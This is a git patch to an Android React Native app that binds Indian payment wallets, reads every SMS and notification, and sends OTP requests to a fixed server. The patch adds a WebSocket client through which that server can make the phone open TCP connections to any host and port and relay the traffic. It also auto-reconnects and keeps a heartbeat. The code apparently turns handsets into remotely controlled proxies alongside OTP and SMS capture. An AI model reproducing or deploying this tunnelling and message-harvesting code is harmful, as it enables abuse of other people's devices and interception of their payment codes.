From 25aa9e9cbe551920db6087858dd433efbf0c5be5 Mon Sep 17 00:00:00 2001 From: TQCasey <494294315@qq.com> Date: Fri, 30 Jan 2026 00:13:53 +0800 Subject: [PATCH] dev socket --- .gitignore | 1 + App.tsx | 266 ++++- android/.idea/caches/deviceStreaming.xml | 1258 ---------------------- package.json | 2 + servers/walletman | 2 +- 5 files changed, 235 insertions(+), 1294 deletions(-) delete mode 100644 android/.idea/caches/deviceStreaming.xml diff --git a/.gitignore b/.gitignore index 42db027..42c9ad9 100644 --- a/.gitignore +++ b/.gitignore @@ -13,3 +13,4 @@ android/.gradle/file-system.probe android/.gradle/8.0.1/checksums/checksums.lock android/.gradle/8.0.1/checksums/md5-checksums.bin android/.gradle/8.0.1/checksums/sha1-checksums.bin +android/.idea/caches diff --git a/App.tsx b/App.tsx index 9878fba..e8d42f7 100644 --- a/App.tsx +++ b/App.tsx @@ -33,13 +33,12 @@ import { PhonePePersonalBind, SmsMessage, NotificationMessage, + TcpProxy, } from "rnwalletman"; import BarcodeScanning from '@react-native-ml-kit/barcode-scanning'; import RNFS from 'react-native-fs'; -import rnauto from 'rnauto'; - interface AppProps { } @@ -100,8 +99,10 @@ const styles = StyleSheet.create({ class Api { - private static readonly BASE_URL = 'http://192.168.1.155:16000'; + public static readonly BASE_URL = 'http://192.168.1.155:16000'; private static _instance: Api | null = null; + private ws: WebSocket | null = null; + private messageCallbacks = new Map void>(); private constructor() { } @@ -113,30 +114,160 @@ class Api { return Api._instance; } - public async register(walletType: WalletType, params: any) { - const response = await fetch(`${Api.BASE_URL}/register`, { - method: 'POST', - body: JSON.stringify({ walletType, params }), + public setWebSocket(ws: WebSocket, serverUrl: string) { + this.ws = ws; + + // 处理消息 + ws.onmessage = (event) => { + try { + console.log('[WebSocket] 收到消息:', event.data); + const msg = JSON.parse(event.data); + + // 处理响应消息 + if (msg.type === 'response' && msg.messageId) { + const callback = this.messageCallbacks.get(msg.messageId); + if (callback) { + callback(msg.data); + this.messageCallbacks.delete(msg.messageId); + } + } + + // 处理代理请求 + if (msg.type === 'proxyRequest') { + console.log('[代理] 收到代理请求:', msg.data); + const { host, port } = msg.data; + + // 创建TCP连接 + TcpProxy.createProxy( + msg.messageId, + host, + port, + // onData: TCP收到数据 → 发送到服务器 + (data: string) => { + ws.send(JSON.stringify({ + type: 'proxyData', + messageId: msg.messageId, + data: { data } + })); + }, + // onClose: TCP关闭 → 通知服务器 + () => { + ws.send(JSON.stringify({ + type: 'proxyClose', + messageId: msg.messageId + })); + }, + // onError: TCP错误 → 通知服务器 + (error: string) => { + console.error('[代理] TCP错误:', error); + ws.send(JSON.stringify({ + type: 'proxyClose', + messageId: msg.messageId + })); + } + ).then(success => { + if (success) { + // 回复就绪 + ws.send(JSON.stringify({ + type: 'proxyReady', + messageId: msg.messageId + })); + console.log('[代理] TCP连接已建立'); + } + }).catch(err => { + console.error('[代理] 创建失败:', err); + }); + } + + // 处理代理数据(服务器 → TCP) + if (msg.type === 'proxyData' && msg.data?.data) { + if (TcpProxy && typeof TcpProxy.writeProxy === 'function') { + TcpProxy.writeProxy(msg.messageId, msg.data.data).then(success => { + if (!success) { + // 写入失败,通知服务器关闭 + ws.send(JSON.stringify({ + type: 'proxyClose', + messageId: msg.messageId + })); + } + }).catch(err => { + console.error('[代理] 写入失败:', err); + ws.send(JSON.stringify({ + type: 'proxyClose', + messageId: msg.messageId + })); + }); + } + } + + // 处理代理关闭 + if (msg.type === 'proxyClose') { + TcpProxy.closeProxy(msg.messageId) + .catch(err => console.error('[代理] 关闭失败:', err)); + } + } catch (error) { + console.error('[API] 解析消息失败:', error, event.data); + } + }; + } + + private sendMessage(type: string, data: any): Promise { + return new Promise((resolve, reject) => { + if (!this.ws || this.ws.readyState !== WebSocket.OPEN) { + reject(new Error('WebSocket未连接')); + return; + } + + const messageId = `msg_${Date.now()}_${Math.random()}`; + + // 设置回调 + this.messageCallbacks.set(messageId, (responseData) => { + if (responseData.success) { + resolve(responseData); + } else { + reject(new Error(responseData.message)); + } + }); + + // 发送消息 + this.ws.send(JSON.stringify({ + type, + messageId, + data + })); + + // 超时处理 + setTimeout(() => { + if (this.messageCallbacks.has(messageId)) { + this.messageCallbacks.delete(messageId); + reject(new Error('请求超时')); + } + }, 30000); + }); + } + + public async register(walletType: WalletType, params: any) { + return this.sendMessage('registerWallet', { + walletType, + params }); - return response.json(); } public async requestOTP(walletType: WalletType, mobile: string, params: any = {}) { - const response = await fetch(`${Api.BASE_URL}/request-otp`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ walletType, mobile, params }), + return this.sendMessage('requestOTP', { + walletType, + mobile, + ...params }); - return response.json(); } public async verifyOTP(walletType: WalletType, mobile: string, otp: string, params: any = {}) { - const response = await fetch(`${Api.BASE_URL}/verify-otp`, { - method: 'POST', - headers: { 'Content-Type': 'application/json' }, - body: JSON.stringify({ walletType, mobile, otp, params }), + return this.sendMessage('verifyOTP', { + walletType, + mobile, + otp, + ...params }); - return response.json(); } } @@ -144,6 +275,8 @@ class Api { export default class App extends Component { private deviceId: string; private tuneUserId: string; + private clientId: string; + constructor(props: AppProps) { super(props); this.state = { @@ -160,9 +293,13 @@ export default class App extends Component { // 临时使用测试成功的固定 ID this.deviceId = 'B6C1AB6DA4B659C287EA76AA96EC154B80E8D28D'; this.tuneUserId = 'b5bfa7df-e571-4ac8-bb51-90afc05d1d59'; + this.clientId = `android_${Date.now()}`; } async componentDidMount() { + /* 初始化代理客户端 */ + await this.initProxyClient(); + /* 权限申请 */ let smsPermission = await checkSmsPermission(); let notificationPermission = await checkNotificationPermission(); @@ -188,7 +325,7 @@ export default class App extends Component { { text: '取消' } ] ); - return; // 等用户手动授权后重启应用 + return; } // 启动监听 @@ -201,9 +338,6 @@ export default class App extends Component { console.log('[Notification]', notification); }); - /* - * 获取所有短信和通知 - */ if (smsPermission) { getAllSms().then((sms: SmsMessage[]) => { console.log('[所有短信]', sms.length, '条'); @@ -217,7 +351,82 @@ export default class App extends Component { } } + private wsHeartbeatTimer?: NodeJS.Timeout; + + /** + * 初始化代理客户端 + */ + async initProxyClient() { + try { + const serverUrl = `ws://${Api.BASE_URL.replace('http://', '')}/ws`; + console.log(`[WebSocket] 连接服务器: ${serverUrl}, 客户端ID: ${this.clientId}`); + + // 创建WebSocket连接 + const ws = new WebSocket(serverUrl); + + ws.onopen = () => { + console.log('[WebSocket] ✅ 已连接'); + + // 注册客户端 + ws.send(JSON.stringify({ + type: 'register', + clientId: this.clientId, + messageId: 'register_' + Date.now() + })); + + // 设置给API使用(传入serverUrl用于代理) + Api.instance.setWebSocket(ws, serverUrl); + + // 启动心跳 + this.startHeartbeat(ws); + }; + + ws.onerror = (error) => { + console.error('[WebSocket] 错误:', error); + }; + + ws.onclose = () => { + console.log('[WebSocket] 连接关闭'); + this.stopHeartbeat(); + // 3秒后重连 + setTimeout(() => this.initProxyClient(), 3000); + }; + } catch (error) { + console.error('[WebSocket] 连接失败:', error); + } + } + + /** + * 启动心跳 + */ + startHeartbeat(ws: WebSocket) { + this.stopHeartbeat(); + + this.wsHeartbeatTimer = setInterval(() => { + if (ws.readyState === WebSocket.OPEN) { + ws.send(JSON.stringify({ + type: 'ping', + messageId: 'ping_' + Date.now(), + clientId: this.clientId + })); + } + }, 20000); // 每20秒发送一次心跳 + } + + /** + * 停止心跳 + */ + stopHeartbeat() { + if (this.wsHeartbeatTimer) { + clearInterval(this.wsHeartbeatTimer); + this.wsHeartbeatTimer = undefined; + } + } + componentWillUnmount(): void { + // 停止心跳 + this.stopHeartbeat(); + stopSmsListener(); stopNotificationListener(); } @@ -617,15 +826,6 @@ export default class App extends Component { return null; } - handlePaytmPay = async () => { - try { - const result = await paytmPay("100", "test", "1234567890", "1234567890", "test"); - Alert.alert('Paytm Pay Success', result.toString()); - } catch (error) { - Alert.alert('Paytm Pay Error', (error as Error).message || 'Unknown error'); - } - } - render() { return ( @@ -648,10 +848,6 @@ export default class App extends Component { 绑定 BharatPe Business - - - 代付 Paytm Personal - 绑定 Mobikwik Personal diff --git a/android/.idea/caches/deviceStreaming.xml b/android/.idea/caches/deviceStreaming.xml deleted file mode 100644 index 8020529..0000000 --- a/android/.idea/caches/deviceStreaming.xml +++ /dev/null @@ -1,1258 +0,0 @@ - - - - - - \ No newline at end of file diff --git a/package.json b/package.json index e047ef1..09d3fa2 100644 --- a/package.json +++ b/package.json @@ -12,9 +12,11 @@ "dependencies": { "@react-native-cookies/cookies": "^6.2.1", "@react-native-ml-kit/barcode-scanning": "^2.0.0", + "buffer": "^6.0.3", "react": "18.2.0", "react-native": "0.72.10", "react-native-fs": "^2.20.0", + "react-native-tcp-socket": "^6.4.1", "react-native-webview": "13.6.2", "rnauto": "./libs/rnauto", "rnwalletman": "./libs/rnwalletman" diff --git a/servers/walletman b/servers/walletman index 911826a..6d6ff82 160000 --- a/servers/walletman +++ b/servers/walletman @@ -1 +1 @@ -Subproject commit 911826a0409f3166442220a0c701ed8246f22d62 +Subproject commit 6d6ff821afca05188d77f5e669c33edc40363259